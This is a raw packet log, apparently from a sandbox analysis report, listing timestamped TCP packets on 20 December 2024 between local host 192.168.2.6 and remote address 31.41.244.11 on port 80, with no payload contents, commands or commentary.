Dec 20, 2024 21:13:28.163997889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.164001942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.164047956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.165085077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.165148020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.165173054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.165230036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.166243076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.166287899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.166349888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.166529894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.167413950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.167475939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.167534113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.167618990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.168616056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.168663979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.168732882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.168817043 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.169694901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.169744015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.300148010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.300226927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.300240993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.300299883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.300683022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.300729990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.300767899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.300815105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.301892042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.302011967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.302104950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.302205086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.303137064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.303193092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.303248882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.303342104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.304239035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.304336071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.304351091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.304424047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.305563927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.305636883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.305815935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.305879116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.306586981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.306628942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.306700945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.306822062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.307816982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.307830095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.307873964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.307889938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.308918953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.309001923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.309058905 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.309123039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.310113907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.310177088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.310241938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.310286999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.311295033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.311433077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.311454058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.311501980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.312462091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.312516928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.312562943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.312628031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.313622952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.313687086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.313854933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.314079046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.314940929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.315000057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.315006018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.315154076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.315990925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.316113949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.316137075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.316246986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.317159891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.317284107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.317306995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.317347050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.318413973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.318519115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.318531036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.318716049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.319575071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.319643974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.319674015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.319717884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.320758104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.320799112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.320884943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.320950985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.321863890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.321928978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.322022915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.322124004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.323050022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.323165894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.323168993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.323223114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.324315071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.324467897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.324481010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.324587107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.325619936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.325676918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.325764894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.325825930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.326889038 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.326958895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.326994896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.327080965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.328155041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.328253984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.328286886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.328362942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.329355001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.329406977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.329437017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.329509974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.330399036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.330471039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.330522060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.330564022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.331478119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.331557035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.331634998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.331764936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.332614899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.332689047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.332711935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.332802057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.333827972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.333898067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.334017038 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.334774017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.334961891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.335031986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.335057020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.335115910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.336136103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.336225033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.336296082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.336390018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.337179899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.337251902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.337275982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.337470055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.338350058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.338401079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.338515043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.338572979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.339515924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.339592934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.339679003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.339741945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.340725899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.340817928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.340866089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.341895103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.341979027 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.342016935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.342096090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.343144894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.343223095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.343419075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.344228029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.344290972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.344316959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.344367981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.345475912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.345644951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.345688105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.345757008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.346592903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.346697092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.346704006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.346954107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.347765923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.348006010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.348086119 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.348941088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.349113941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.349163055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.349272966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.350155115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.350218058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.350230932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.350286961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.351363897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.351468086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.351468086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.351605892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.352579117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.352668047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.352770090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.353677034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.353770971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.353773117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.353832960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.354827881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.354887962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.355158091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.355201006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.356013060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.356116056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.356209993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.356287003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.357178926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.357304096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.357372046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.358382940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.358437061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.358516932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.358623981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.359579086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.359709024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.359714985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.359760046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.360778093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.360975981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.361022949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.361834049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.361907005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.492357969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.492432117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.492454052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.492523909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.492852926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.493004084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.493114948 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.493793964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.493917942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.493993044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.494982958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.495075941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.495110035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.495306015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.496184111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.496258020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.496414900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.496548891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.497371912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.497499943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.497556925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.497556925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.498495102 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.498580933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.498938084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.498938084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.499660969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.499872923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.500061035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.500061035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.500824928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.500946045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.500983953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.500983953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.502022028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.502120972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.502233982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.502233982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.503202915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.503302097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.503354073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.504420996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.504509926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.504543066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.504543066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.505518913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.505563974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.505702019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.505804062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.506800890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.506860971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.506886959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.507137060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.507886887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.507966995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.507996082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.508137941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.509094954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.509201050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.509222031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.509310961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.510344028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.510358095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.510443926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.511460066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.511523962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.511548042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.511627913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.512667894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.512732029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.512789965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.513798952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.513894081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.513906956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.513959885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.515019894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.515070915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.515130043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.515209913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.516165972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.516268969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.516359091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.516431093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.517471075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.517565012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.517699957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.518512011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.518563032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.518635988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.518723965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.519682884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.519860983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.519861937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.519915104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.520863056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.520935059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.520946026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.521047115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.522047997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.522108078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.522144079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.522336006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.523232937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.523324966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.523338079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.523366928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.524370909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.524494886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.524498940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.524590015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.525592089 CET	80	49887	31.41.244.11	192.168.2.6
